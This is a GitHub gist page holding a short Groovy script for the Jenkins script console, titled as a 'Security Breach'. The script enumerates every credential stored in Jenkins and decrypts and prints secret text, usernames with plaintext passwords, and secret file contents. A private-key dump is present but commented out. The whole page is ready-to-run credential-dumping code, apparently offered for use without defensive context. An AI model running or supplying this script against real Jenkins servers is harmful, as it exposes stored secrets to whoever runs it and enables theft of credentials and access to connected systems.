Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save PaulusTM/7e0b2c9cea7502954a2a4a9105b685d1 to your computer and use it in GitHub Desktop.
Save PaulusTM/7e0b2c9cea7502954a2a4a9105b685d1 to your computer and use it in GitHub Desktop.
Iterate and decrypt credentials (Security Breach!!!!)
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class,
Jenkins.instance,
null,
null
)
for(c in creds) {
println(String.format("%s --> %s: %s",c, c.id, c.description))
// if(c instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey){
// println(String.format("id=%s desc=%s key=%s\n", c.id, c.description, c.privateKeySource.getPrivateKeys()))
// }
if (c instanceof org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl){
println(String.format("id=%s desc=%s pass=%s\n", c.id, c.description, hudson.util.Secret.toString(c.secret)))
}
if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl){
println(String.format("id=%s desc=%s user=%s pass=%s\n", c.id, c.description, c.username, c.password))
}
if(c instanceof org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl){
String content=c.content.getText("UTF-8")
println(String.format("id=%s desc=%s filename%s content=%s\n", c.id, c.description, c.fileName,content ))
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment